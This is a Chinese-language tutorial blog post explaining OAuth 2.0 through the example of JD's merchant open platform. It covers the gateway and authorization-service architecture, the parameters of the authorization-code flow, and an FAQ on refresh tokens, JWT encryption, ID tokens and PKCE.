可以把这个架构体系分为三部分来看:

  1. 第三方软件:一般是指第三方开发者或者 ISV 通过对接开放平台来实现的应用软件,比如小兔打单软件
  2. 京东商家开放平台:包含 API 网关服务、OAuth 2.0 授权服务和第三方软件开发者中心服务。其中,API 网关服务和 OAuth 2.0 授权服务,是开放平台的“两条腿”;第三方软件开发者中心服务,是为开发者提供管理第三方软件应用基本信息的服务,比如 app_id、app_secret 等信息
  3. 京东内部的各个微服务:比如订单服务、商品服务等。这些微服务,就是之前提到的受保护资源服务

从图中还可以看到这个体系整体的调用关系是:第三方软件通过 HTTP 协议请求到开放平台,更具体地说是开放平台的 API 网关服务,然后由 API 网关通过内部的 RPC 调用到各个微服务。

接下来,再以用户小明使用小兔打单软件为例,来看看这些系统角色之间具体又是怎样交互的?

在这里插入图片描述

  1. 当用户小明访问小兔软件的时候,小兔会首先向开放平台的 OAuth 2.0 授权服务去请求访问令牌,接着小兔拿着访问令牌去请求 API 网关服务
  2. 在 API 网关服务中,会做最基本的两种校验,一种是访问令牌的合法性校验,比如访问令牌是否过期的校验,另一种是小兔打单软件的基本信息的合法性校验,比如 app_id和 app_secret 的校验
  3. 都校验成功之后,API 网关服务会发起最终的数据请求

这里需要说明的是,在前面提到,验证访问令牌或者第三方软件应用信息的时候,都是在受保护资源服务中去做的。当有了 API 网关这一层的时候,这些校验工作就会都落到了 API 网关的身上,因为不能让很多个受保护资源服务做同样的事情

依靠开放平台提供的能力,可以说开放平台、用户和开发者实现了三赢:小明因为使用小兔提高了打单效率;小兔的开发者因为小明的订购服务获得了收益;而通过开放出去的 API 让小兔帮助小明能够极快地处理 C 端用户的订单,京东提高了用户的使用体验

但同时呢,开放也是一把双刃剑。理想状态下,平台、开发者、用户可以实现三赢,但安全的问题绝不容忽视,而用户的信息安全又是重中之重。接下来,来看一个开放平台体系是如何解决访问令牌安全问题的案例

用户给第三方软件授权之后,授权服务就会生成一个访问令牌,而且这个访问令牌是跟用户关联的。比如,小明给小兔打单软件进行了授权,那么此时访问令牌的粒度就是:小兔打单软件 + 小明

小兔打单软件可以拿着这个访问令牌去代表小明访问小明的数据;如果访问令牌过期了,小兔打单软件还可以继续使用刷新令牌来访问,直到刷新令牌也过期了

现在问题来了,如果小明注销了账号,或者修改了自己的密码,那他之前为其它第三方软件进行授权的访问令牌就应该立即失效。否则,在刷新令牌过期之前,第三方软件可以一直拿着之前的访问令牌去请求数据。这显然不合理

所以在这种情况下,授权服务就要通过 MQ(消息队列)接收用户的注销和修改密码这两类消息,然后对访问令牌进行清理

在这里插入图片描述

其实,这个案例中解决访问令牌安全问题的方式,不仅仅适用于开放平台,还可以为你在企业内构建自己的 OAuth 2.0 授权体系结构时提供借鉴

以上就是开放平台整体的结构,以及其中需要重点关注的用户访问令牌的安全性问题了。我们作为第三方软件开发者,在对接到这些开放平台或者浏览它们的网站时,几乎都能看到类似这样的一句话:“所有接口都需要接入 OAuth 授权,经过用户确认授权后才可以调用”,这正是 OAuth 2.0 的根本性作用

11.2 各大开放平台授权流程

以微信、支付宝、美团为例,看看它们在开放授权上是如何使用 OAuth 2.0的,首先看一下官方的授权流程图:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以在这三张授权流程图中看到,都有和授权码 code 相关的文字。这就说明,它们都建议开发者首选授权码流程

在本节开始也提到,作为开发者在对接开放平台的时候,最关心的就是它们提供的官方对接文档了。而这些文档里面,最让人头疼就是那些通信过程中需要传递的参数。接下来,以京东商家开放平台为例,来看看这些参数背后的含义,以及关键点

11.3 授权码流程中的参数说明

概括来讲,在京东商家开放平台的授权服务这一侧,提供服务的就是两个端点:负责生成授权码的授权端点以及负责颁发访问令牌的令牌端点。整个授权过程中,虽然看着有很多参数,但可以围绕这两条线,来对它们做归类

接下来,继续以小兔打单软件为例,来看一下它在对接京东商家开放平台的时候都用到了哪些参数

小明在使用小兔打单软件的时候,首先被小兔通过重定向的方式引导到京东商家开放平台的授权服务上,其实就是引导到了授权服务的授权端点上。这个重定向的过程中用到的参数如下:

参数 必填 描述
response_type 必须使用 code 值,表示请求授权码许可流程
app_id 第三方软件的开发者在开放平台上注册的时候分配的应用 ID
redirect_uri 第三方软件的开发者在开放平台上注册的时候填写的回调 URI,当授权服务返回授权码 code 时就是向这个地址发送
scope 可选 请求范围,如果没有,授权服务会基于确定的策略,提供相应的权限范围
state 推荐 供第三方软件来做最基础的防止 CSRF 攻击的防护

这里需要强调的是,对于 state 参数,现在官方都是“推荐”使用。但 OAuth 2.0 官方建议的避免 CSRF 攻击的方式,就是使用 state 参数。所以安全起见,还是应该使用

接着,京东商家开放平台授权服务的授权端点,会向小兔软件做出响应。这个响应的过程用到的基本参数,如下:

参数 必填 描述
code 授权服务器生成的授权码
state 第三方软件请求的时候发过来的 state 值,授权服务需要原样返回给第三方软件

对于授权码 code 的值,一般建议的最长生命周期是 10 分钟。另外,小兔打单软件只能被允许使用一次该授权码的值,如果使用一次之后还用同样的授权码值来请求,授权服务必须拒绝

对于这次的 state 值,授权服务每次都是必须要返回给小兔打单软件的。无论小兔打单软件在起初的时候有没有发送该值,都必须返回回去,如果没有就返回空。这样当小兔打单软件日后升级增加该值的时候,京东商家开放平台就不需要改动任何代码逻辑了

在拿到授权码 code 的值之后,接下来就是小兔打单软件向京东商家开放平台的授权服务的令牌端点发起请求,申请访问令牌。这个过程中需要传递的基本参数,如下:

参数 必填 描述
grant_type 必须使用 authorization_code 值,表示请求授权码许可流程
code 第三方软件从授权服务的授权端点接收到的授权码 code 值
redirect_uri 第三方软件的开发者在开放平台上注册的时候填写的回调 URI,授权服务必须验证该值
app_id 第三方软件的开发者在开放平台上注册的时候分配的应用 ID
app_secret 第三方软件的开发者在开放平台上注册的时候分配的应用密钥

在授权服务接收到小兔打单软件申请访问令牌的请求后,像授权端点一样,令牌端点也需要向小兔打单软件做出响应。这个过程涉及到的基本参数,如下:

参数 必填 描述
access_token 开放平台的授权服务颁发的访问令牌的值
token_type 访问令牌的类型,目前默认统一的都是 bearer 类型的令牌
refresh_token 刷新令牌,第三方软件可以用它来更新新的访问令牌的值
expires_in 访问令牌的有效期,以秒为单位
re_expires_in 刷新令牌的有效期,以秒为单位
scope 第三方软件被允许使用的实际的权限范围

对于这里返回的 scope 值,需要强调下,其实就是小兔软件被允许的实际的权限范围,因为小明有可能给小兔软件授予了小于它在开放平台注册时申请的权限范围。比如,小兔打单软件申请了查询历史订单、查询当天订单两个 API 的权限,但小明可能只给小兔授权了查询当天订单 API 的权限

12. 总结 OAuth 2.0 常见问题

1、发明 OAuth 的目的到底是什么?

OAuth 协议的设计初衷,就是让最终用户也就是资源拥有者(小明),将他们在受保护资源服务器(京东商家开放平台)上的部分权限(查询当天订单)委托给第三方应用(小兔打单软件),使得第三方应用(小兔)能够代表最终用户(小明)执行操作(查询当天订单)

这便是 OAuth 协议设计的目的。在 OAuth 协议中,通过为每个第三方软件和每个用户的组合分别生成对受保护资源具有受限的访问权限的凭据,也就是访问令牌,来代替之前的用户名和密码。而生成访问令牌之前的登录操作,又是在用户跟平台之间进行的,第三方软件根本无从得知用户的任何信息

这样第三方软件的逻辑处理就大大简化了,它今后的动作就变成了请求访问令牌、使用访问令牌、访问受保护资源,同时在第三方软件调用大量 API 的时候,不再传输用户名和密码,从而减少了网络安全的攻击面

从安全的角度来讲,为每个第三方软件和每个用户的组合来生成一个访问令牌的方式,可以减少对平台更多用户造成的危害。因为这样一来,单个第三方软件被攻破而带来的危害,仅仅会让这一个第三方软件的用户受到影响

那么这时可能会问,这样攻击的对象就会转移到授权服务身上。这个想法没错,但保护一个授权服务肯定要比保护成千上万个、由不同研发人员开发的第三方软件容易得多

2、OAuth 2.0 是身份认证协议吗?

OAuth 2.0 是一种授权协议,“它一心只专注于干好授权这件事儿”,OAuth 2.0 不是身份认证协议

你可能觉得,有用户参与其中,比如小明在使用小兔打单软件之前,要向授权服务进行登录操作从而进行身份认证 ,那 OAuth 2.0 就应该是一个身份认证协议啊

但是,小明必须登录之后才能进行授权,是一个额外的需求,登录跟授权体系是独立的。虽然登录操作看似“内嵌”在了 OAuth 2.0 的流程中,但生产环境中登录和授权还是两套独立存在的系统。所以说,像这种“内嵌”的身份认证行为,并不是说 OAuth 2.0 自身承担起了身份认证协议的责任

同时,身份认证会告诉第三方软件当前的用户是谁,但实际上 OAuth 2.0 自始至终都没有向第三方软件透露过关于用户的任何信息。这一点,在上面讲发明 OAuth 协议的目的时也提到过。可以再想想小兔打单软件的例子,看是不是这样:小兔打单软件永远也不会知道小明的任何信息,它仅仅是请求访问令牌,使用访问令牌并最终调用查询订单的 API

3、有了刷新令牌,是不是就可以让访问令牌一直有效了?

首先回顾下访问令牌和刷新令牌相关的几个知识点:

  1. OAuth 2.0 的核心是授权,授权的核心是令牌,也就是所说的访问令牌
  2. 为了提高用户的体验,OAuth 2.0 提供了刷新令牌的机制,使得访问令牌过期后,第三方软件在无需用户再次授权的情况下,可以重新请求一个访问令牌
  3. 在使用上,刷新令牌只能用在授权服务上,而访问令牌只能用在受保护资源服务上

当访问令牌被 “递给” 受保护资源服务的时候,受保护资源服务需要对访问令牌进行验证,还要对访问令牌关联的权限和第三方软件的请求进行权限匹配校验。当访问令牌过期的时候,使用刷新令牌请求到的访问令牌,是授权服务重新生成的,而不是延长了原访问令牌的有效期

当前的这个刷新令牌被使用之后,授权服务可以自行决定是颁发一个新的刷新令牌,还是仍然给第三方软件返回上一个刷新令牌。安全起见,建议是返回一个新的刷新令牌。这时,可能就有一个疑问了:第三方软件已经换了一个访问令牌了,刷新令牌又一直存在,那是不是就可以一直使用刷新令牌来获取访问令牌了呢?

要解决这个疑问,要知道的是,刷新令牌也有有效期。尽管生成了新的刷新令牌,但它的有效期不会改变,有效期的时间戳仍然是上一个刷新令牌的。刷新令牌的有效期到了,就不能再继续用它来申请新的访问令牌了

4、使用了 HTTPS,是不是就能确保 JWT 格式令牌的数据安全?

OAuth 2.0 的使用从来都不应该脱离 HTTPS。因为访问令牌、应用密钥敏感信息要在网络上传输,都离不开 HTTPS 的保护。但是,HTTPS 也只是保证了访问令牌等重要信息在网络传输上的安全

在 OAuth 2.0 的规范中,访问令牌对第三方软件是不透明的,从来都不应该被任何第三方软件解析到。由于 JWT 格式的令牌自包含了用户相关的信息,比如用户标识,因此仅仅对它进行签名还不够。要避免第三方软件有机会获取访问令牌所包含的信息,那在与第三方软件交互的环境下使用 JWT 格式的令牌时,还要对它进行加密来保障令牌的安全,而不是仅仅依靠 HTTPS

5、ID 令牌和访问令牌之间有联系吗?

在第 9 节 用 OAuth 2.0 实现一个 OpenID Connect 身份认证协议的时候,讲到了 ID 令牌,首先来总结下 ID 令牌和访问令牌的作用:

  • ID 令牌,也就是 ID_TOKEN,代表的是用户身份令牌,可以说是一个单独的身份认证结果,永远不会像访问令牌那样作为一个参数,去传递给其它外部服务
  • 访问令牌,也就是 ACCESS_TOKEN,就是一个令牌,是要被第三方软件用来作为凭证,从而代表用户去请求受保护资源服务的

由此可见,这两种令牌是截然不同的

  1. ID 令牌是对访问令牌的补充,而不是要替换访问令牌。之所以采用这样双令牌的方式,就是想让早先存在的访问令牌,可以在 OAuth 2.0 中继续保持对第三方软件的不透明性,而让后来新增的 ID 令牌要能够被解析,目的就是方便应用到身份认证协议中
  2. ID 令牌和访问令牌有不同的生命周期,ID 令牌的生命周期相对来说更短些。因为 ID 令牌的作用就是代表一个单独的身份认证结果,它的使命就是用来标识用户的。而这个标识并不是用户名,用户登录的时候用的是用户名而不是这个 ID 令牌,所以如果用户注销或者退出了登录,ID 令牌的生命周期就随之结束了
  3. 访问令牌可以在用户离开后的很长时间内,继续被第三方软件用来请求受保护资源服务。比如,小明使用了小兔打单软件的批量导出订单功能,如果耗时相对比较长,小明不必一直在场

6、PKCE 协议到底解决的是什么问题?

在第 7 节在移动 App 中使用 OAuth2.0 中,讲到了 PKCE 协议,先看一下它被推出的背景

2012 年 10 月 OAuth 2.0 的正式授权协议框架,也就是官方的 RFC 6749 被正式发布,2015 年 9 月增补了 PKCE 协议,也就是官方的 RFC 7636。从时间上来看,从正式发布 OAuth 2.0 授权协议到增补发布了 PKCE 协议,整整间隔了三年,而这三年恰恰是移动应用蓬勃发展的时期

同时,在原生的移动客户端应用保存秘钥又存在特殊的安全问题,使用 OAuth 2.0 授权码许可类型的客户端又容易受到授权码窃听的攻击

所以,PKCE 被增补发布的背景是,移动应用大力发展,同时原生客户端使用 OAuth 2.0面临着安全风险。这样就能理解了,发布 PKCE 协议的目的,主要就是缓解针对公开客户端的攻击,提高授权码使用的安全性

猜你喜欢

转载自blog.csdn.net/ACE_U_005A/article/details/128779217